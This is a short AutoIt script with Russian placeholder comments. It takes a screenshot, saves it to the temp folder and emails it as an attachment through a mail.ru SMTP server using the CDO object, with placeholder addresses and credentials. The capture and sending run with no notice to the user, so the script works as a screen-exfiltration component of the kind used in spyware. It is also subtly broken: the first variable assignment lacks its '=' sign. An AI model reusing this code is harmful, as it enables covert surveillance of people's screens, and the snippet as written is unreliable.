#include <ScreenCapture.au3>
$Screen @TempDir & '\screenshot.jpg'
_ScreenCapture_Capture($Screen)
Do
Until FileExists($Screen)
$FromAddress = 'от кого письмо'
$ToAddress = 'кому письмо'
$Subject = 'тема письма'
$Body = 'текст письма'
$Attachment = $Screen ;файл для отправки
$SMTPServer = 'smtp.mail.ru'
$Username = 'логин@mail.ru'
$Password = 'пароль'
$Port = '2525'
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
.From = $FromAddress
.To = $ToAddress
.Subject = $Subject
.TextBody = $Body
.AddAttachment ($Attachment) ;файл для отправки
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = $SMTPServer ;SMTP Server
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = $Username
.Item ($str & "sendpassword") = $Password ;Пароль SMTP-сервер
.Item ($str & "smtpserverport") = $Port ;Порт
.Update
EndWith
$hMAIL.Send